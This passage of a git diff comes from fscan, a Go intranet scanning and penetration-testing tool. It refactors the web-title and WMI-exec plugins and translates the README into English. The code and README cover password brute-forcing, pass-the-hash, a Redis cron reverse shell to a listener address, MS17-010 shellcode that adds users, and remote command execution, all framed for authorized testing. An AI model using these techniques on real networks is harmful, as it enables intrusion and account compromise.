"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"regexp"
|
"regexp"
|
||||||
@ -19,23 +18,23 @@ import (
|
|||||||
"golang.org/x/text/encoding/simplifiedchinese"
|
"golang.org/x/text/encoding/simplifiedchinese"
|
||||||
)
|
)
|
||||||
|
|
||||||
func WebTitle(info *common.HostInfo) error {
|
func WebTitle(info common.HostInfo, flags common.Flags) error {
|
||||||
if common.Scantype == "webpoc" {
|
if flags.Scantype == "webpoc" {
|
||||||
WebScan.WebScan(info)
|
WebScan.WebScan(info, flags)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
err, CheckData := GOWebTitle(info)
|
err, CheckData := GOWebTitle(info, flags)
|
||||||
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
||||||
|
|
||||||
if common.IsWebCan == false && err == nil {
|
if flags.IsWebCan && err == nil {
|
||||||
WebScan.WebScan(info)
|
WebScan.WebScan(info, flags)
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||||
common.LogError(errlog)
|
common.LogError(errlog)
|
||||||
}
|
}
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
|
func GOWebTitle(info common.HostInfo, flags common.Flags) (err error, CheckData []WebScan.CheckDatas) {
|
||||||
if info.Url == "" {
|
if info.Url == "" {
|
||||||
switch info.Ports {
|
switch info.Ports {
|
||||||
case "80":
|
case "80":
|
||||||
@ -44,26 +43,26 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
|
|||||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||||
default:
|
default:
|
||||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
protocol := GetProtocol(host, common.Timeout)
|
protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout)
|
||||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if !strings.Contains(info.Url, "://") {
|
if !strings.Contains(info.Url, "://") {
|
||||||
host := strings.Split(info.Url, "/")[0]
|
host := strings.Split(info.Url, "/")[0]
|
||||||
protocol := GetProtocol(host, common.Timeout)
|
protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout)
|
||||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
err, result, CheckData := geturl(info, 1, CheckData)
|
err, result, CheckData := geturl(info, flags, 1, CheckData)
|
||||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
//有跳转
|
// there is a jump
|
||||||
if strings.Contains(result, "://") {
|
if strings.Contains(result, "://") {
|
||||||
info.Url = result
|
info.Url = result
|
||||||
err, result, CheckData = geturl(info, 3, CheckData)
|
err, result, CheckData = geturl(info, flags, 3, CheckData)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@ -71,25 +70,24 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
|
|||||||
|
|
||||||
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
||||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||||
err, result, CheckData = geturl(info, 1, CheckData)
|
err, result, CheckData = geturl(info, flags, 1, CheckData)
|
||||||
//有跳转
|
// there is a jump
|
||||||
if strings.Contains(result, "://") {
|
if strings.Contains(result, "://") {
|
||||||
info.Url = result
|
info.Url = result
|
||||||
err, result, CheckData = geturl(info, 3, CheckData)
|
err, _, CheckData = geturl(info, flags, 3, CheckData)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
//是否访问图标
|
|
||||||
//err, _, CheckData = geturl(info, 2, CheckData)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
func geturl(info common.HostInfo, flags common.Flags, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||||
//flag 1 first try
|
//flag 1 first try
|
||||||
//flag 2 /favicon.ico
|
//flag 2 /favicon.ico
|
||||||
//flag 3 302
|
//flag 3 302
|
||||||
@ -114,11 +112,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
|||||||
if common.Cookie != "" {
|
if common.Cookie != "" {
|
||||||
req.Header.Set("Cookie", common.Cookie)
|
req.Header.Set("Cookie", common.Cookie)
|
||||||
}
|
}
|
||||||
//if common.Pocinfo.Cookie != "" {
|
|
||||||
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
|
||||||
//} else {
|
|
||||||
// req.Header.Set("Cookie", "rememberMe=1")
|
|
||||||
//}
|
|
||||||
req.Header.Set("Connection", "close")
|
req.Header.Set("Connection", "close")
|
||||||
var client *http.Client
|
var client *http.Client
|
||||||
if flag == 1 {
|
if flag == 1 {
|
||||||
@ -155,7 +149,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
|||||||
}
|
}
|
||||||
result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
|
result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
|
||||||
if reurl != "" {
|
if reurl != "" {
|
||||||
result += fmt.Sprintf(" 跳转url: %s", reurl)
|
result += fmt.Sprintf(" jump url: %s", reurl)
|
||||||
}
|
}
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
@ -188,7 +182,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
|
|||||||
body = append(body, buf...)
|
body = append(body, buf...)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
raw, err := ioutil.ReadAll(oResp.Body)
|
raw, err := io.ReadAll(oResp.Body)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@ -216,17 +210,16 @@ func gettitle(body []byte) (title string) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func GetProtocol(host string, Timeout int64) (protocol string) {
|
func GetProtocol(host string, proxy common.Socks5, Timeout int64) (protocol string) {
|
||||||
protocol = "http"
|
|
||||||
//如果端口是80或443,跳过Protocol判断
|
|
||||||
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
||||||
return
|
return "http"
|
||||||
} else if strings.HasSuffix(host, ":443") {
|
|
||||||
protocol = "https"
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|
||||||
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
if strings.HasSuffix(host, ":443") {
|
||||||
|
return "https"
|
||||||
|
}
|
||||||
|
|
||||||
|
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, proxy, time.Duration(Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
@ -3,11 +3,12 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
|
||||||
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -26,8 +27,8 @@ func init() {
|
|||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
|
|
||||||
func WmiExec(info *common.HostInfo) (tmperr error) {
|
func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
@ -35,19 +36,19 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
|
|||||||
PASS:
|
PASS:
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
flag, err := Wmiexec(info, user, pass, common.Hash)
|
flag, err := Wmiexec(info, flags, user, pass)
|
||||||
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||||
common.LogError(errlog)
|
common.LogError(errlog)
|
||||||
if flag == true {
|
if flag {
|
||||||
var result string
|
var result string
|
||||||
if common.Domain != "" {
|
if flags.Domain != "" {
|
||||||
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
|
||||||
} else {
|
} else {
|
||||||
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user)
|
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user)
|
||||||
}
|
}
|
||||||
if common.Hash != "" {
|
if flags.Hash != "" {
|
||||||
result += "hash: " + common.Hash
|
result += "hash: " + flags.Hash
|
||||||
} else {
|
} else {
|
||||||
result += pass
|
result += pass
|
||||||
}
|
}
|
||||||
@ -58,11 +59,11 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(common.Hash) == 32 {
|
if len(flags.Hash) == 32 {
|
||||||
break PASS
|
break PASS
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -70,10 +71,10 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
func Wmiexec(info *common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
|
||||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
wmiexec.Timeout = int(common.Timeout)
|
wmiexec.Timeout = int(flags.Timeout)
|
||||||
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
|
return WMIExec(target, user, pass, flags.Hash, flags.Domain, flags.Command, ClientHost, "", nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
||||||
|
330
README.md
330
README.md
@ -1,198 +1,212 @@
|
|||||||
# fscan
|
# fscan
|
||||||
[English][url-docen]
|
|
||||||
|
|
||||||
# 1. 简介
|
# 1. Introduction
|
||||||
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
|
||||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
|
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
|
||||||
|
|
||||||
# 2. 主要功能
|
# 2. Functions
|
||||||
1.信息搜集:
|
1.Information collection:
|
||||||
* 存活探测(icmp)
|
* Survival detection(icmp)
|
||||||
* 端口扫描
|
* Port scanning
|
||||||
|
|
||||||
2.爆破功能:
|
2.Blasting:
|
||||||
* 各类服务爆破(ssh、smb、rdp等)
|
* Various service blasting(ssh、smb、rdp, etc.)
|
||||||
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
|
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
|
||||||
|
|
||||||
3.系统信息、漏洞扫描:
|
3.System information, vulnerability scanning:
|
||||||
* netbios探测、域控识别
|
* Netbios detection, domain control identification
|
||||||
* 获取目标网卡信息
|
* Collect NIC information
|
||||||
* 高危漏洞扫描(ms17010等)
|
* High Risk Vulnerability Scanning(ms17010, etc.)
|
||||||
|
|
||||||
4.Web探测功能:
|
4.Web detection:
|
||||||
* webtitle探测
|
* Webtitle detection
|
||||||
* web指纹识别(常见cms、oa框架等)
|
* Web fingerprinting (cms, oa framework, etc.)
|
||||||
* web漏洞扫描(weblogic、st2等,支持xray的poc)
|
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
|
||||||
|
|
||||||
5.漏洞利用:
|
5.Exploit:
|
||||||
* redis写公钥或写计划任务
|
* Write redis public key and scheduled tasks
|
||||||
* ssh命令执行
|
* Excute ssh command
|
||||||
* ms17017利用(植入shellcode),如添加用户等
|
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
|
||||||
|
|
||||||
6.其他功能:
|
6.Others:
|
||||||
* 文件保存
|
* Save ouput result
|
||||||
|
|
||||||
# 3. 使用说明
|
# 3. Instructions
|
||||||
简单用法
|
Getting Started
|
||||||
```
|
```
|
||||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
fscan.exe -h 192.168.1.1/24
|
||||||
fscan.exe -h 192.168.1.1/16 (B段扫描)
|
fscan.exe -h 192.168.1.1/16
|
||||||
```
|
```
|
||||||
|
|
||||||
其他用法
|
Advanced
|
||||||
```
|
```
|
||||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
|
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
|
||||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
|
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
|
||||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
|
||||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
|
||||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
|
||||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
|
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
|
||||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
|
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
|
||||||
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
|
||||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
|
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
|
||||||
fscan.exe -hf ip.txt (以文件导入)
|
fscan.exe -hf ip.txt (Import target from file)
|
||||||
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
|
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
|
||||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
|
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
|
||||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
|
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
|
||||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
|
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
|
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
|
||||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
|
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
|
||||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
|
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
|
||||||
```
|
```
|
||||||
编译命令
|
Compile command
|
||||||
```
|
```
|
||||||
go build -ldflags="-s -w " -trimpath main.go
|
go build -ldflags="-s -w " -trimpath main.go
|
||||||
upx -9 fscan.exe (可选,压缩体积)
|
upx -9 fscan.exe (Optional, compressed)
|
||||||
```
|
```
|
||||||
arch用户安装
|
Installation for arch users
|
||||||
`yay -S fscan-git 或者 paru -S fscan-git`
|
`yay -S fscan-git or paru -S fscan-git`
|
||||||
|
|
||||||
完整参数
|
Full parameters
|
||||||
```
|
```
|
||||||
|
Usage of ./fscan:
|
||||||
|
-br int
|
||||||
|
Brute threads (default 1)
|
||||||
-c string
|
-c string
|
||||||
ssh命令执行
|
exec command (ssh|wmiexec)
|
||||||
-cookie string
|
-cookie string
|
||||||
设置cookie
|
set poc cookie,-cookie rememberMe=login
|
||||||
-debug int
|
-debug int
|
||||||
多久没响应,就打印当前进度(default 60)
|
every time to LogErr (default 60)
|
||||||
|
-dns
|
||||||
|
using dnslog poc
|
||||||
-domain string
|
-domain string
|
||||||
smb爆破模块时,设置域名
|
smb domain
|
||||||
|
-full
|
||||||
|
poc full scan,as: shiro 100 key
|
||||||
-h string
|
-h string
|
||||||
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||||
|
-hash string
|
||||||
|
hash
|
||||||
-hf string
|
-hf string
|
||||||
读取文件中的目标
|
host file, -hf ip.txt
|
||||||
-hn string
|
-hn string
|
||||||
扫描时,要跳过的ip: -hn 192.168.1.1/24
|
the hosts no scan,as: -hn 192.168.1.1/24
|
||||||
-m string
|
-m string
|
||||||
设置扫描模式: -m ssh (default "all")
|
Select scan type ,as: -m ssh (default "all")
|
||||||
-no
|
-no
|
||||||
扫描结果不保存到文件中
|
not to save output log
|
||||||
-nobr
|
-nobr
|
||||||
跳过sql、ftp、ssh等的密码爆破
|
not to Brute password
|
||||||
-nopoc
|
-nopoc
|
||||||
跳过web poc扫描
|
not to scan web vul
|
||||||
-np
|
-np
|
||||||
跳过存活探测
|
not to ping
|
||||||
-num int
|
-num int
|
||||||
web poc 发包速率 (default 20)
|
poc rate (default 20)
|
||||||
-o string
|
-o string
|
||||||
扫描结果保存到哪 (default "result.txt")
|
Outputfile (default "result.txt")
|
||||||
-p string
|
-p string
|
||||||
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||||
-pa string
|
-pa string
|
||||||
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
|
add port base DefaultPorts,-pa 3389
|
||||||
-path string
|
-path string
|
||||||
fcgi、smb romote file path
|
fcgi、smb romote file path
|
||||||
-ping
|
-ping
|
||||||
使用ping代替icmp进行存活探测
|
using ping replace icmp
|
||||||
-pn string
|
-pn string
|
||||||
扫描时要跳过的端口,as: -pn 445
|
the ports no scan,as: -pn 445
|
||||||
-pocname string
|
-pocname string
|
||||||
指定web poc的模糊名字, -pocname weblogic
|
use the pocs these contain pocname, -pocname weblogic
|
||||||
-proxy string
|
|
||||||
设置代理, -proxy http://127.0.0.1:8080
|
|
||||||
-user string
|
|
||||||
指定爆破时的用户名
|
|
||||||
-userf string
|
|
||||||
指定爆破时的用户名文件
|
|
||||||
-pwd string
|
|
||||||
指定爆破时的密码
|
|
||||||
-pwdf string
|
|
||||||
指定爆破时的密码文件
|
|
||||||
-rf string
|
|
||||||
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
|
|
||||||
-rs string
|
|
||||||
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
|
|
||||||
-silent
|
|
||||||
静默扫描,适合cs扫描时不回显
|
|
||||||
-sshkey string
|
|
||||||
ssh连接时,指定ssh私钥
|
|
||||||
-t int
|
|
||||||
扫描线程 (default 600)
|
|
||||||
-time int
|
|
||||||
端口扫描超时时间 (default 3)
|
|
||||||
-u string
|
|
||||||
指定Url扫描
|
|
||||||
-uf string
|
|
||||||
指定Url文件扫描
|
|
||||||
-wt int
|
|
||||||
web访问超时时间 (default 5)
|
|
||||||
-pocpath string
|
-pocpath string
|
||||||
指定poc路径
|
poc file path
|
||||||
-usera string
|
-portf string
|
||||||
在原有用户字典基础上,新增新用户
|
Port File
|
||||||
|
-proxy string
|
||||||
|
set poc proxy, -proxy http://127.0.0.1:8080
|
||||||
|
-pwd string
|
||||||
|
password
|
||||||
-pwda string
|
-pwda string
|
||||||
在原有密码字典基础上,增加新密码
|
add a password base DefaultPasses,-pwda password
|
||||||
-socks5
|
-pwdf string
|
||||||
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
|
password file
|
||||||
-sc
|
-rf string
|
||||||
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
|
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||||
|
-rs string
|
||||||
|
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||||
|
-sc string
|
||||||
|
ms17 shellcode,as -sc add
|
||||||
|
-silent
|
||||||
|
silent scan
|
||||||
|
-socks5 string
|
||||||
|
set socks5 proxy, will be used in tcp connection, timeout setting will not work
|
||||||
|
-sshkey string
|
||||||
|
sshkey file (id_rsa)
|
||||||
|
-t int
|
||||||
|
Thread nums (default 600)
|
||||||
|
-time int
|
||||||
|
Set timeout (default 3)
|
||||||
|
-top int
|
||||||
|
show live len top (default 10)
|
||||||
|
-u string
|
||||||
|
url
|
||||||
|
-uf string
|
||||||
|
urlfile
|
||||||
|
-user string
|
||||||
|
username
|
||||||
|
-usera string
|
||||||
|
add a user base DefaultUsers,-usera user
|
||||||
|
-userf string
|
||||||
|
username file
|
||||||
|
-wmi
|
||||||
|
start wmi
|
||||||
|
-wt int
|
||||||
|
Set web timeout (default 5)
|
||||||
```
|
```
|
||||||
|
|
||||||
# 4. 运行截图
|
# 4. Demo
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
|
||||||

|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
|
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
|
||||||

|

|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
|
||||||

|

|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
|
||||||

|

|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
|
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
|
||||||

|

|
||||||
|
|
||||||
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
|
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
|
||||||

|

|
||||||
|
|
||||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
|
||||||

|

|
||||||
|
|
||||||
# 5. 免责声明
|
# 5. Disclaimer
|
||||||
|
|
||||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
|
||||||
|
|
||||||
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
|
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
|
||||||
|
|
||||||
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
|
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
|
||||||
|
|
||||||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
|
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
|
||||||
|
|
||||||
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
|
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
|
||||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
|
||||||
|
|
||||||
|
|
||||||
# 6. 404StarLink 2.0 - Galaxy
|
# 6. 404StarLink 2.0 - Galaxy
|
||||||

|

|
||||||
|
|
||||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
|
||||||
|
|
||||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
